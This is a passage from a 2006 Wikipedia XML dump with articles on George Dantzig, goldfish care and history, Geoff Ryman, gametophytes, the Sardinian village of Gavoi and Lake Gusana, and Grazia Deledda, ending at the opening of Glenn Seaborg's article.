* [http://www.realclimate.org RealClimate » Climate Science] RealClimate is a commentary site on climate science by working climate scientists for the interested public and journalists.
* [http://www.climateaudit.org ClimateAudit: statistical criticism of &quot;hockey stick&quot; climate history reconstructions]

[[Category:Climate change]]
[[Category:Debates]]
[[Category:Controversies]]</text>
    </revision>
  </page>
  <page>
    <title>George Dantzig</title>
    <id>13111</id>
    <revision>
      <id>36744535</id>
      <timestamp>2006-01-26T04:10:00Z</timestamp>
      <contributor>
        <username>TacoDeposit</username>
        <id>55736</id>
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      <comment>/* Other */ This is a serious encyclopedia.</comment>
      <text xml:space="preserve">'''George Bernard Dantzig''' ([[8 November]] [[1914]] &amp;ndash; [[13 May]] [[2005]]) was a [[mathematician]] who introduced the [[simplex algorithm]] and is considered the &quot;Father of [[linear programming]]&quot;.  He was the recipient of many honors, including the [[National Medal of Science]] in [[1975]], the [[John von Neumann]] Theory Prize in [[1974]].  

He was a member of the [[National Academy of Sciences]], the [[National Academy of Engineering]], and the [[American Academy of Arts and Sciences]].  

He earned [[bachelor's degrees]] in mathematics and physics from the [[University of Maryland, College Park|University of Maryland]] in [[1936]], his [[master's degree]] in mathematics from the [[University of Michigan]], and his [[PhD]] from [[UC Berkeley]] in [[1946]].  He received an honorary doctorate from the University of Maryland in [[1976]].

Dantzig's father, [[Tobias Dantzig]], was a [[Russia]]n mathematician who had studied with [[Henri Poincaré]] in [[Paris]].  Tobias married a fellow [[Sorbonne University]] student, Anja Ourisson, and the couple immigrated to the [[United States]].  

==Truth in Urban Legends==

An actual event in Dantzig's life became the origin of a famous [[urban legend]] in [[1939]] while he was a graduate student at [[UC Berkeley]].  Near the beginning of a class that Dantzig was late for, professor [[Jerzy Neyman]] wrote two examples of famously unsolved [[statistics]] problems on the blackboard.  When Dantzig later arrived, he assumed that the two problems were a homework assignment and wrote them down. According to Dantzig, the problems &quot;seemed to be a little harder than usual&quot;, but a few days later he handed in completed solutions for both, still believing that they were an assignment that was past due.  Six weeks later, Dantzig received a visit from an excited professor Neyman, who had prepared one of Dantzig's solutions for publication in a mathematical journal.  Years later another researcher, [[Abraham Wald]], was preparing to publish a paper which arrived at a conclusion for the second problem, and included Dantzig as its co-author when he learned of the earlier solution.

This story began to spread, and was used as a motivational lesson demonstrating the power of positive thinking.  Over time Dantzig's name was removed and facts were altered, but the basic story persisted in the form of an urban legend.

==The Birth of Linear Programming==

When [[World War II]] started, Dantzig's graduate studies at Berkeley were suspended, and he became Head of the Combat Analysis Branch of the [[United States Air Force|Air Force]]'s Headquarters Statistical Control, which had to deal with the logistics of supply chains and management of hundreds of thousands of items and people.  The job provided the &quot;real world&quot; problems which linear programming would come to solve.

George Dantzig received his [[Ph.D.]] from Berkeley in [[1946]]. He was originally going to accept a teaching post at Berkeley, but was persuaded by his wife and former Pentagon colleagues to go back there as a mathematical adviser to the USAF. It was there, in [[1947]] that he first posed the Linear Programming problem, and proposed the Simplex Method to solve it. In [[1952]], he became a research mathematician at the [[RAND|RAND Corporation]], where he began implementing linear programming on the corporation's computers.  In [[1960]], he was hired by his ''[[alma mater]]'', where he taught [[computer science]], eventually becoming the chairman of the [[Operations Research]] Center.  In [[1966]], he took a similar position at [[Stanford University]].  He stayed with Stanford until his retirement in the [[1990s]].

In addition to his significant work in developing the simplex method and furthering linear programming, Dantzig also advanced the fields of decomposition theory, sensitivity analysis, complementary pivot methods, large-scale optimization, nonlinear programming, and programming under uncertainty.  The first issue of the ''SIAM Journal on Optimization'' in [[1991]] was dedicated to him.

==Other==

The [[Mathematical Programming Society]] honored Dantzig by creating the [[Dantzig Award]], bestowed every three years since [[1982]] on one or two people who have made a significant impact in the field of mathematical programming. 

Dantzig died on [[May 13]], [[2005]], in his home in Stanford, California, due to complications from [[diabetes]] and [[cardiovascular disease]].

==References==

* G. B. Dantzig 1940.  ''On the non-existence of tests of &quot;Student's&quot; hypothesis having power functions independent of &lt;math&gt;\sigma&lt;/math&gt;'', Annals of Mathematical Statistics, Volume 11, number 2, pp186-192

==External links==
* {{MacTutor Biography|id=Dantzig_George}}
*[http://www.snopes.com/college/homework/unsolvable.asp Snopes urban legend reference on the legend to which Dantzig gave rise]
*[http://www.stanford.edu/group/SOL/dantzig.html Stanford Celebrates Dantzig's 80th birthday]
*[http://supernet.som.umass.edu/photos/gdobit.html Obituaries of George Dantzig]

[[Category:1914 births|Dantzig, George]]
[[Category:2005 deaths|Dantzig, George]]
[[Category:American mathematicians|Dantzig, George]]
[[Category:20th century mathematicians|Dantzig, George]]
[[Category:John von Neumann Theory Prize Winners|Dantzig, George]]
[[Category:Operations research|Dantzig, George]]
[[Category:People from Oregon|Dantzig, George]]
[[Category:University of Maryland, College Park alumni|Dantzig, George]]
[[Category:Diabetics|Dantzig, George]]
[[Category:National Medal of Science recipients|Dantzig]]

[[af:George Dantzig]]
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[[zh:乔治·丹齐格]]</text>
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  </page>
  <page>
    <title>Goldfish</title>
    <id>13113</id>
    <revision>
      <id>42021662</id>
      <timestamp>2006-03-03T07:11:38Z</timestamp>
      <contributor>
        <username>Sus scrofa</username>
        <id>270506</id>
      </contributor>
      <minor />
      <comment>/* History */ iran see [[Norouz]]</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Goldfish
| status = {{StatusSecure}}
| image = Goldfish.jpg
| image_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Actinopterygii]]
| ordo = [[Cypriniformes]]
| familia = [[Cyprinidae]]
| genus = ''[[Carassius]]''
| species = ''[[Carassius auratus|C. auratus]]''
| subspecies = '''''C. a. auratus'''''
| trinomial = ''Carassius auratus auratus''
| trinomial_authority = ([[Carolus Linnaeus|Linnaeus]], [[1758]])
}}
The '''goldfish''' ('''''Carassius auratus auratus''''') was one of the earliest [[fish]] to be [[domestication|domesticated]], and is still one of the most commonly kept [[List of freshwater aquarium fish species|aquarium fish]]. A relatively small member of the [[Cyprinidae|carp]] family (which also includes the [[koi|koi carp]] and the [[crucian carp]]), the goldfish is a domesticated version of a dark-gray/olive/brown carp native to [[East Asia]] (first domesticated in [[China]]) that was introduced to [[Europe]] in the late [[17th century]]. It may grow to a maximum length of 23 [[inch]]es (59&amp;nbsp;[[centimetre|cm]]) and a maximum weight of 6.6&amp;nbsp;[[Pound (mass)|lb]] (3.0&amp;nbsp;[[kilogram|kg]]), although this is rare; most individual goldfish grow to under half this size. In optimal conditions goldfish may live more than 20 years (the [[world record]] is 41 years); however, most household goldfish will only live six to eight years because owners keep them in tanks under the size of 40 US gallons.

== History ==

During the [[Tang Dynasty]], it was popular for Chinese ponds to have carp. As the result of a [[genetic mutation]] one of these carp displayed a gold (actually a yellowish orange) rather than a silver coloration. This mutation is associated with a dominant gene which also made the breeding for this trait easy. The gold-colored strain became popular for keeping in containers. People began to breed the gold variety instead of the silver, and began to keep them into small containers to enjoy.

In 1162 the Empress ordered the building of a pond to collect the red and gold varieties of carp. By this time people outside the royal family were forbidden to keep gold fishes. An order was given to kill any other fish that were gold in color because yellow was the royal color and the court was offended. This is why there are more orange goldfish than yellow goldfish now, even though yellow is easier to breed for.

In captivity, interesting mutant fish were more likely to be noticed and kept alive, producing more colors and fancier goldfish. According to old books, the occurrence of other colors was first recorded in 1276. The [[Ming Dynasty]] recorded the first occurrence of fancy tailed goldfish. In 1502, goldfish were introduced to Japan, where they have been developed into the Ryukin and Tosakin varieties. 

In 1611, goldfish were introduced to Portugal, from which they were introduced to other parts of Europe. The goldfish finally came to North America in 1874.

Goldfish are commonly used in the celebration of [[Norouz]] (the Persian new year) in [[Iran]].

==Aquarium conditions==
The goldfish is quite hardy which accounts for part of its popularity. Their supposed reputation in some areas for dying quickly is often due to poor care amongst uninformed buyers, especially children, looking for a &quot;cheap&quot; pet. The goldfish is a [[coldwater fish]], and can live in an unheated [[aquarium]] or in an outdoor [[water garden]]. In a pond, it will even survive brief periods of [[ice]] forming on the surface, so long as there is enough [[oxygen]] remaining in the water and the pond does not freeze solid.

Like most carp, goldfish produce a large amount of waste both in the feces and through their gills, releasing harmful chemicals in the water. This also happens because goldfishes cannot digest an excess of proteins, unlike most tropical fish.
Build-up of this waste to toxic levels can occur in a relatively short period of time, often the cause of a fish's sudden death. Although goldfish were historically displayed in small &quot;goldfish bowls&quot;, a healthy and happy goldfish requires at least 40 US gallons (150 [[litre]]s) of water in order to live a full life. Each additional fish requires an additional 40 gallons of water. In fact, for single tailed varieties, such as commons or comets, it may even become necessary to have 100 to 200 US gallons (350 to 750 L) per fish, depending on fish size. Other goldfish experts say that it is the amount of ''water surface area'', not the water volume, that decides how many goldfish may live in a container; one square foot of water surface area for every inch of goldfish length (370 cm²/cm). For example, if you had 3 goldfish of length 4 inches each, you might need 12 square feet of water surface area. Surface area is an approximate measure of how much oxygen may be absorbed into the water from the air. If the water is being further aerated by way of water pump, filter or fountain, more goldfish may be kept in the container.

==Native Environment==  	 
Goldfish natively live in [[pond]]s, and other slow or still moving bodies of water in depths up to 20 m (65 ft). Their native climate is [[subtropical]] and they live in [[Fresh water|freshwater]] with a 6.0–8.0 [[pH]], a water hardness of 5.0–19.0 [[dGH]], and a temperature range of 40 to 106 &amp;deg;F (4 to 41 &amp;deg;C) although they will not survive long at the higher temperatures. Indeed, they are considered ill-suited even to live in a heated tropical fish tank, as they are used to the greater amount of oxygen in unheated tanks also the heat burns them. 	 
			
In the wild, the diet consists of [[crustacean]]s, [[insect]]s, and plant matter.

While it is true that goldfish can survive in a fairly wide temperature range, the optimal range for indoor fish is 68 to 75 &amp;deg;F (20 to 23 &amp;deg;C).  Pet goldfish, as with many other fish, will usually eat more food than it needs if given, which can lead to a fatal intestinal blockage.  They are omnivorous and do best with a wide variety of fresh vegetables and fruit to supplement a flake or pellet diet staple.  

Sudden changes in water temperature can be fatal to any fish, including the goldfish. When transferring a store-bought goldfish to a pond or a tank, the temperature in the storage container should be equalized by leaving it in the destination container for at least 20 minutes before releasing the goldfish. In addition, some temperature changes might simply be too great for even the hardy goldfish to adjust to. For example, buying a goldfish in a store, where the water might be 70 °F (approximately 21 °C), and hoping to release it into your garden pond at 40 °F (4 °C) will probably result in the death of the goldfish, even if you use the slow immersion method just described. A goldfish will need a lot more time, perhaps days or weeks, to adjust to such a different temperature.

Because the goldfish likes to eat live plants, keeping it with plants in an aquarium can be quite a problem. Only a few of the aquarium plant species can survive in a tank with goldfishes, for example ''[[Cryptocoryne]]'' and ''[[Anubias]]'' species, but they require special attention so that they are not uprooted.

==Varieties of domesticated goldfish==
[[Selective breeding]] over centuries has produced several color variations, some of them far removed from the &quot;[[gold]]en&quot; color of the originally domesticated fish. There are also different body shapes, [[fin]] and [[eye]] configurations. Some extreme versions of the goldfish do need to be kept in an [[aquarium]] &amp;mdash; they are much less hardy than varieties closer to the &quot;wild&quot; original, however more robust variations such as the Shubunkin are more hardy. The main varieties are:

[[Image:Goldfish Scooped Up.jpg|thumb|300px|right|Goldfish Scooped Up]]

*[[Common goldfish|Common]]
*[[Black Moor]]
*[[Bubble Eye]]
*[[Celestial Eye]]
*[[Comet (goldfish)|Comet]]
*[[Fantail (goldfish)|Fantail]]
*[[Lionhead (goldfish)|Lionhead]]
*[[Oranda]]
*[[Pearlscale]]
*[[Pompom (goldfish)|Pompom]]
*[[Ryukin]]
*[[Shubunkin]]
*[[Telescope Eye]]
*[[Ranchu]]
*[[Panda Moor]]
*[[Veiltail]]

===Chinese Goldfish Classification===
In Chinese goldfish keeping, goldfish are classified into 4 main types, which are not commonly used in the west.

*Dragon Eye - Goldfish with extended eyes, e.g. [[Black Moor]], [[Bubble Eye]], and [[Telescope Eye]]
*Egg - Goldfish without a dorsal fin. e.g. [[Lionhead (goldfish)|Lionhead]] (note that a Bubble Eye without a dorsal fin belongs to this group)
*Wen - Goldfish with dorsal fin and a fancy tail. e.g. [[Veiltail]]
*Ce (may also be called &quot;grass&quot;) - Goldfish without anything fancy. Which is the type that is used for Japanese carnivals, especially for &quot;goldfish scoops&quot;.

==Goldfish in ponds==
Goldfish can also be kept in ponds. Common goldfish, London and Bristol shubunkins and comet can be kept in a pond all year round in Britain. Bristol shubumkin, fantail, veiltail, oranda and lionhead are only safe in the summer. Goldfish make great pondfish. They are small, inexpensive, very hardy and add much colour to the pond.

Small to large ponds are fine though the depth should be at least 80 cm (30 in) to avoid freezing. During winter golfish will become slow, stop eating and often stay on the bottom. This is completly normal and in spring they will become active again. A filter is important to clear waste and keep the pond clean. Plants are not essential but can be added. Oxygenating plants are beneficial since they raise oxygen levels.

Compatible fish include [[rudd]], [[tench]], [[orfe]] and [[koi]] but the latter will require specialised care. Ramshorn snails are helpful by eating any algae that grows in the pond.

==Wild Goldfish and relationship to [[Crucian carp]]==
No fancy goldfish can survive in the wild as they are handicapped (for example by fin colors).

Research by [http://www.aquarticles.com/articles/ponds/Pearce_Common_Goldfishhtml.htm Dr Yoshiichi Matsui] suggests that there are subtle differences which demonstrate that while the crucian carp is the ancestor of the goldfish, they are not the same fish.

==Behaviour==
It is often said that goldfish have a memory span of only a few seconds, but this is not entirely true. Goldfish have what could be called a selective memory; that is to say, they have some kind of [[consciousness]] of what has happened on previous occasions, but may not be sure exactly what it was. They can learn to eat from a certain ring inside their tank, or even from their caretaker's hand, because they will remember that there is something good in that area, but might not remember what. 

This behavior, or type of learning is an example of classical conditioning. If a predatory animal such as a heron is around, they will likely hide away for quite a while, but they probably do not know what it is they are hiding from; they simply know it is worth avoiding. Goldfish have a sense of time, and in captivity may be able to recognize a set feeding schedule, becoming excited before food even appears. Contrary to the notion that goldfish have poor memory, they will respond to a visit by a predator such as a raccoon, which may completely trash a small pond traumatizing the resident goldfish, which may  remain extremely shy and jittery to any approach thereafter.

On the television show ''[[MythBusters]]'', [[Jamie Hyneman]] and [[Adam Savage]] explored the idea by each trying to train goldfish to navigate a maze over a 45-day period. The result was that the fish could definitely be trained to navigate the maze.

*[http://www.mythbustersfanclub.com/html/sinking_titanic.html Mythbusters fanclub page about this episode]

There is an urban legend that a pregnant goldfish is called a &quot;twit&quot; or &quot;twat&quot;, but this was debunked by [[The Straight Dope]]. Also, goldfish are egglayers and do not become pregnant.

==Feeding==
Like most fish, goldfish are opportunistic feeders, meaning they will eat whenever food is available, whether they are hungry or not. This habit can be fatal. Their digestive tract can become so jammed with food that the intestines tear open, killing the fish. Also, an excess of food means more waste and feces, which pollute the tank. Goldfish should only be fed as much food as they can consume in 3 to 4 minutes, and no more than twice a day.

A good way to tell if your goldfish is being properly fed is to look at their feces. They should be short and chunky, the same color as the food the fish is eating. Long strings of waste that trail behind the fish as they swim could be a sign of over-feeding.

Care has to be taken when choosing the right food for them, because goldfishes need less protein (which they cannot digest in excess) and more of the easy to digest carbohydrates. However, specialised food for them can be found on the market.

==Breeding==
Goldfish, like all [[cyprinid]]s, are egglayers. They produce adhesive eggs which attach themselves to aquatic vegetation. The eggs hatch within 48-72 hours, releasing fry large enough to be described as appearing like &quot;an eyelash with two eyeballs&quot;. Within a week or so, the fry begin to look more like a goldfish in shape, although it can be as much as a year before they take their mature goldfish color, until then they are a metallic brown like their wild forebears. In their first weeks of existence, the fry grow remarkably fast; an adaptation borne of the high risk of getting devoured by the adult goldfish (or other fish and insects) in their environment.

Goldfish can only grow to sexual maturity if given enough water and the right nutrition.  However if kept well, they may breed indoors. Breeding usually happens after a significant change in temperature, often in [[Spring (season)|spring]]. Eggs should then be separated into another tank, as the parents will likely eat any of their young that they happen upon. Dense plants such as ''Cabomba'' or ''Elodea'' or a spawning mop are used to catch the eggs.

Most goldfish can and will breed if left to themselves, particularly in pond settings. Males chase the females around, bumping and nudging them in order to prompt the females to release her eggs, which the males then fertilize.  Due to the strange shapes of some extreme modern bred goldfish, certain types can no longer breed among themselves. In these cases, a method of artificial breeding is used called &quot;hand stripping&quot;. This method keeps the breed going, but can be dangerous and harmful to the fish if not done correctly.

==Mosquito control==
In certain parts of the world, goldfish and other carps are frequently added to stagnant bodies of water in order to reduce the [[mosquito]] populations, especially now with the arrival of [[West Nile Virus]] which relies on mosquitoes to migrate. Their [[introduced species|introduction]] often had unfortunate consequences for local [[ecosystem]]s, however.

==Edibility and cruelty==
Although edible, the fish is rarely eaten. A fad among [[United States|American]] college students for many years was swallowing goldfish as a [[stunt]] and as an initiation process for [[Fraternities and sororities|fraternities]].  The first recorded instance was in [[1939]] at [[Harvard University]]. The practice gradually fell out of popularity over the course of several decades.

In many countries, the operators of [[carnival]]s and [[fair]]s commonly give goldfish away in plastic bags as [[prize|prizes]] for winning games. In the [[United Kingdom]], the [[government]] proposed banning this practice as part of its Animal Welfare Bill, though early [[2005]] reports suggest that this idea has been dropped.  However, in Rome, Italy, the city passed a law in late 2005, which banned the use of goldfish or other animals as carnival prizes.  [[Rome]] has also banned the keeping of goldfish in &quot;goldfish bowls&quot;, on the premise that it's cruel to the fish to live in such a small space. 

While being otherwise unkind to pretty fish may now be prohibited, killing fish (humanely) for human consumption or benign purposes (such as putting down an ill fish) is still legal in most countries (provided of course that the fish is not a protected fish caught in the wild, a fish in protected reserves or in water where the person concerned has no right to collect the fish). In the UK it is understood to be illegal to sell live fish as &quot;feeder fish&quot; for consumption by other fish or animals.


==See also==
* [[Cyprinid]] a Wikipedia page devoted to other members of the carp family
* [[List of freshwater aquarium plant species]] for plant species compatible with a goldfish

==External links==
*[http://www.goldfishutopia.com/ Goldfish Utopia] - Online Goldfish Forum, Information, And A Goldfish Store.
*[http://spaces.msn.com/members/chinesegoldfish/ GoldFish Queen] - The Chinese goldfish blog regarding importing goldfish from Goldfish's farm in China. There are lots of intoduction with photographs regarding more than 100 different goldfish varieties updating everyday.
*[http://www.bristol-aquarists.org.uk/ Bristol Aquarists' Society] - Photographs and descriptions of the different goldfish varieties
[[Image:GoldfishBowl_2004_SeanMcClean.jpg|thumb|200px|right|A distorted view of a goldfish in a goldfish bowl.]]
*[http://dmoz.org/Recreation/Pets/Fish_and_Aquaria/Freshwater/Species/Goldfish/ Goldfish on DMOZ] - Goldfish directory
*[http://www.longtailfowl.com/cruciancarp.html Goldfish Genetics] - A resource on the genetics of the goldfish with a focus on the originator, crucian carp, and how their basic genetic package gave rise to the varieties of modern goldfish.
*[http://www.petlibrary.com/goldfish/goldfish.html Goldfish Sanctuary] - Site of a now defunct goldfish rescue organization.
*[[BBC News Online]] - [http://news.bbc.co.uk/1/hi/magazine/3893889.stm Goldfish are no longer to be given as prizes]
*[[BBC News Online]] - [http://news.bbc.co.uk/1/hi/uk_politics/4174457.stm  Ban on goldfish prizes 'dropped']
*[http://www.wetwebmedia.com/FWSubWebIndex/gldfshfdgfaqs.htm Frequently asked questions about goldfish]
*[http://www.fishfriend.com/articles/breeding_your_goldfish.html Breeding Your Goldfish]
*[http://www.fiberi.de German Specialist in Fancy Goldfish and Fishhealth, with Forum and large Picture-Gallery]
*[http://www.elgoldfish.com] A Spanish goldfish site
*http://www.kokosgoldfish.com/disease.html
*[http://www.schmeg.com/goldfish/aquarium-filter-types.html Aquarium Filter Types]
* http://www.eclipse.co.uk/wradmore/bradninch/history/goldie/goldie.htm — A site claiming the world's oldest goldfish (&quot;about 1960&quot;).

== References ==
*{{ITIS|ID=163350|taxon=Carassius auratus|year=2004|date=5 October}}
*{{FishBase_species_alt|ID=271|taxon=Carassius auratus auratus|year=2004|month=September}}
*[http://www.aquarticles.com/articles/ponds/Pearce_Common_Goldfishhtml.htm The Common Goldfish by Les Pearce]
*[http://www.bristol-aquarists.org.uk/goldfish/info/info.htm Background information about goldfish]
*[http://www.wetpetz.com/goldfish.htm Carassius auratus]

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    </revision>
  </page>
  <page>
    <title>Geoff Ryman</title>
    <id>13114</id>
    <revision>
      <id>38286130</id>
      <timestamp>2006-02-05T09:11:11Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Geoffrey Charles Ryman''' (born [[1951]]) is a writer of [[science fiction]], [[fantasy]] and [[Slipstream (literature)|slipstream]] fiction. He was born in [[Canada]], and has lived most of his life in England.

His science fiction and fantasy works include ''The Warrior Who Carried Life'' (1985), the novella ''The Unconquered Country'' (1986) (winner of the [[BSFA award|British Science Fiction Award]] and the [[World Fantasy Award]]), and ''[[The Child Garden]]'' (1989) (winner of the  [[Arthur C. Clarke Award]]). Subsequent fiction works include ''Was'' (1992) a re-imagining of ''[[The Wizard of Oz (1939 film)|The Wizard of Oz]]'' and the life of [[Judy Garland]], ''Lust'' (2001), and ''Air'' (2002).

His work ''[[253 (book)|253, or Tube Theatre]]'' was first published as [[hypertext]] fiction on a Web site [http://www.ryman-novel.com/]. The print version was published in 1998 and won the [[Philip K. Dick Memorial Award]].

==External links==
* {{isfdb name|id=Geoff_Ryman|name=Geoff Ryman}}
* [http://news.bbc.co.uk/1/hi/magazine/4132482.stm Comment on the victims of the 7 July 2005 London Bombings]
* [http://www.infinityplus.co.uk/nonfiction/intgr.htm Interview with Geoff Ryman] conducted by [[Kit Reed]] at [[Infinity Plus]], discussing his novel ''Air'' and the [[Mundane SF]] movement.

&lt;!--Categories--&gt;

[[Category:British science fiction writers|Ryman, Geoff]]
[[Category:Canadian science fiction writers|Ryman, Geoff]]
[[Category:Gay writers|Ryman, Geoff]]
[[Category:1951 births|Ryman, Geoff]]
[[Category:Living people|Ryman, Geoff]]
[[Category:LGBT people from Canada|Ryman, Geoff]]

[[nl:Geoff Ryman]]</text>
    </revision>
  </page>
  <page>
    <title>Gametophyte</title>
    <id>13115</id>
    <revision>
      <id>40862050</id>
      <timestamp>2006-02-23T14:21:44Z</timestamp>
      <contributor>
        <username>Nk</username>
        <id>107440</id>
      </contributor>
      <minor />
      <comment>+bg</comment>
      <text xml:space="preserve">A '''gametophyte''' is the [[haploid]] structure or phase of life of a sexually-reproducing [[plant]]. Each cell of a gametophyte contains one complete set of [[chromosome]]s. 

The gametophyte can be the dominant part of the plant's life cycle as in [[moss]]es, or very reduced as in [[fern]]s and [[flowering plant]]s (angiosperms), where the female form ([[Carpel|ovule]]) is known as a '''megagametophyte''' and the male form ([[pollen]]) is called a '''microgametophyte''', the dominant phase of life for [[bryophytes]] (nonvascular plants).
 
An early developmental stage in the gametophyte of both mosses and [[fern]]s (immediately following the [[meiospore]]) is called the [[Protonema]].

''See also :'' [[Sporophyte]], [[Alternation of generations]], [[Archegonium]], [[Antheridium]]

[[Category:Plant morphology]]
[[Category:Plant anatomy]]


{{botany-stub}}

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  </page>
  <page>
    <title>Gavoi</title>
    <id>13116</id>
    <revision>
      <id>33683540</id>
      <timestamp>2006-01-03T03:45:44Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: pl</comment>
      <text xml:space="preserve">'''Gavoi''' is a village in central [[Sardinia]], in the district of [[Nuoro]], in the region of [[Barbagia]]. Occupying a spectacular position among hills and woods, it overlooks the Lake of [[Gusana]]. [[Image:Italy Regions Sardinia Map.png|right|thumb|Location of Sardinia]]

==History==
Near the lake are the archaeological areas of Orrui and San Michele di [[Fonni]]. A [[Roman bridge]] is submerged beneath the lake. Gavoi was a very ancient [[Hebrews|Hebrew]] colony (4th century?) and in the 17th century was repopulated by [[Tuscany|Tuscan]] carbon-makers.

==The village and environs==
The [[Roman Catholic Church|Roman]] church of [[San Gavino]] is Gavoi's foremost sacred spot, through there are eight other ancient churches in the village. The village's center contains rock houses with balconies, and a village fountain is known as &quot;Antana 'e [[Cartzonna]]&quot;.

The nearby Sanctuary of Madonna d'Itria hosts a [[palio]], in this case a peculiar horse competition very similar to that of [[Siena]]. 

Once a year, on the last Sunday in July, all Gavoiese emigrants return to the town from wherever they may live for the celebrations of Madonna d'Itria, an ancient [[Byzantium|Byzantine]] cult tradition.

==Economy==
Agriculture: potatoes and cheese (the town is famous for its &quot;[[pecorino]]&quot;)

Financial trading

==Traditions==
The &quot;[[tumbarinu]]&quot; is a traditional drum made of dog or donkey skin. The &quot;[[ballu tundu]]&quot;, is a traditional dance in the round, as in the [[Balkan]] area. Poetry is esteemed, including extemporaneous  rhyme competitions on given topics.

[[Category:Regions of Italy]]
[[Category:Sardinia]]

{{Italy-stub}}

[[es:Gavoi]]
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  </page>
  <page>
    <title>Gusana</title>
    <id>13117</id>
    <revision>
      <id>22809493</id>
      <timestamp>2005-09-08T01:06:33Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>removed from superfluous parent category</comment>
      <text xml:space="preserve">'''Gusana''' is the name of an artificial [[lake]] and of the surrounding area, in the territory of [[Gavoi]], [[Sardinia]], [[Italy]].

The lake was built in the [[1930s]] to store water for an electricity generator (central of Coghinadordza), and it covered an ancient [[Roman bridge]] as well as an ancient archaeological site of [[Nuragici people]].

It is now a [[tourist destination]].

{{Italy-geo-stub}}

[[Category:Lakes of Italy]]
[[Category:Sardinia]]</text>
    </revision>
  </page>
  <page>
    <title>Grazia Deledda</title>
    <id>13118</id>
    <revision>
      <id>41750423</id>
      <timestamp>2006-03-01T13:55:43Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>removing link [[Myth]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''Grazia Deledda''' ([[September 27]], [[1871]] &amp;ndash; [[August 15]], [[1936]]), born in [[Nuoro]], [[Sardinia]], was an [[Italy|Italian]] [[writer]] whose works won her a [[Nobel Prize for Literature]] in [[1926]].

==Biography==
She was born into a numerous burgeois family, attended elementary school and then she was educated by a private tutor (a guest of one of her relatives) and moved on to study [[literature]] on her own.

She first published some [[Novel|novels]] on the [[magazine]] &quot;L'ultima moda&quot; when it still published works in prose and poetry. &lt;br&gt; ''Nell'azzurro'', published by Trevisani in [[1890]] might be considered as her first work.

Still between prose and poetry  are, among the first works, ''Paesaggi sardi'', published by Speirani in [[1896]].&lt;br&gt; In [[1900]], after having married Palmiro Madesani, functionary of the Ministry of War met in [[Cagliari]] in the October of [[1899]], the writer moved to [[Rome]] and after the publishing of ''Anime oneste'' in [[1895]] and of ''Il vecchio della montagna'' in 1900, plus the collaboration with magazines &quot;La Sardegna&quot;, &quot;Piccola rivista&quot; and &quot;Nuova Antologia&quot;, critics begin to get interested in her work.

In [[1903]] she published ''Elias Portulo'' that confirmed her as a writer and started her work as a successful writer of [[novel|novels]] and theatrical works:'' Cenere'' ([[1904]]), ''L'edera'' ([[1906]]), ''Sino al confine'' ([[1911]]), ''Colombo e sparvieri'' ([[1912]]), ''Canne al vento'' ([[1913]]), ''L'incendio nell'oliveto'' ([[1918]]), ''Il Dio dei venti'' ([[1922]]). &lt;br&gt; ''Cenere'' was the inspiration for a [[Film|movie]] with the famous italian actress [[Eleonora Duse]].

Her work has been highly regarded by [[Luigi Capuana|Capuana]] and [[Giovanni Verga|Verga]] plus some younger writers such as [[Enrico Thovez]], [[Pietro Pancrazi]] and [[Renato Serra]].

==Fundamentals of her work==
Deledda's whole work is based on strong facts of [[love]], [[pain]] and [[death]] upon which rests the feeling of sin and of an inevitable fatality.

In her works we can recognize the influence of the [[verism]] of [[Giovanni Verga]] but, sometimes, also that of the [[decadentism]] by [[Gabriele D'Annunzio]].

In Deledda's novels there is always a strong connection beetween places and people, feelings and [[environment]]. The [[environment]] depicted is that one harsh of native [[Sardinia]], but it is not depicted according to regional veristic schemes neither according to the otherworldly vision by [[D'Annunzio]], but relived through the myth.

==Main works==
*''[[Fior di Sardegna]]'' ([[1892]])
*''[[Le vie del male]]'' ([[1892]])
*''[[Racconti sardi]]'' ([[1895]])
*''[[Anime oneste]]'' ([[1895]])
*''[[Elias Portolu]]'' ([[1903]])
*''[[Cenere (book)|Cenere]]'' ([[1904]])
*''[[L'edera]]'' ([[1912]])
*''[[Canne al vento]]'' ([[1913]])
*''[[Marianna Sirca]]'' ([[1915]])
*''[[La madre]]'' ([[1920]])
*''[[La fuga in Egitto]]'' ([[1925]])
*''[[Il sigillo d'amore]]'' ([[1926]])
*''[[Cosima]]'' ([[1937]]) published posthumously
*''[[Il cedro del Libano]]'' ([[1939]]) published posthumously

{{start box}}
{{succession box | before = [[George Bernard Shaw]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years =1926 | after = [[Henri Bergson]]
}}
{{end box}}

==External links==
*[http://members.tripod.com/~GraziaDeledda/ETEXT-F.HTM Works on the Web]
*[http://nobelprize.org/literature/laureates/1926/deledda-autobio.html Nobel Prize autobiography]


[[Category:1871 births|Deledda, Grazia]]
[[Category:1936 deaths|Deledda, Grazia]]
[[Category:Italian writers|Deledda, Grazia]]
[[Category:Nobel Prize in Literature winners|Deledda, Grazia]]

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  </page>
  <page>
    <title>Glenn T. Seaborg</title>
    <id>13120</id>
    <revision>
      <id>37336114</id>
      <timestamp>2006-01-30T08:51:17Z</timestamp>
      <contributor>
        <username>Mike Dillon</username>
        <id>368827</id>
      </contributor>
      <minor />
      <comment>dab [[Chancellor (education)|chancellor]] link</comment>
      <text xml:space="preserve">{{dablink|[[Seaborg (computer)|Seaborg]] is an IBM SP RS/6000 [[supercomputer]] located at [[Lawrence Berkeley National Laboratory]] named after Glenn T. Seaborg. [http://www.nersc.gov/nusers/resources/SP/]}}
[[Image:Glenn T. Seaborg.jpg|thumb|100px|Glenn T. Seaborg]]
'''Glenn Theodore Seaborg''' ([[April 19]], [[1912]] &amp;ndash; [[February 25]], [[1999]]) was an [[United States|American]] [[chemist]], who was prominent in the discovery and isolation of many [[transuranic element]]s (including [[plutonium]], during the [[Manhattan Project]]), for which he won the [[Nobel Prize in Chemistry]] in [[1951]]. He was later the chairman of the [[United States Atomic Energy Commission]] from [[1961]] until [[1971]].

==Early life==
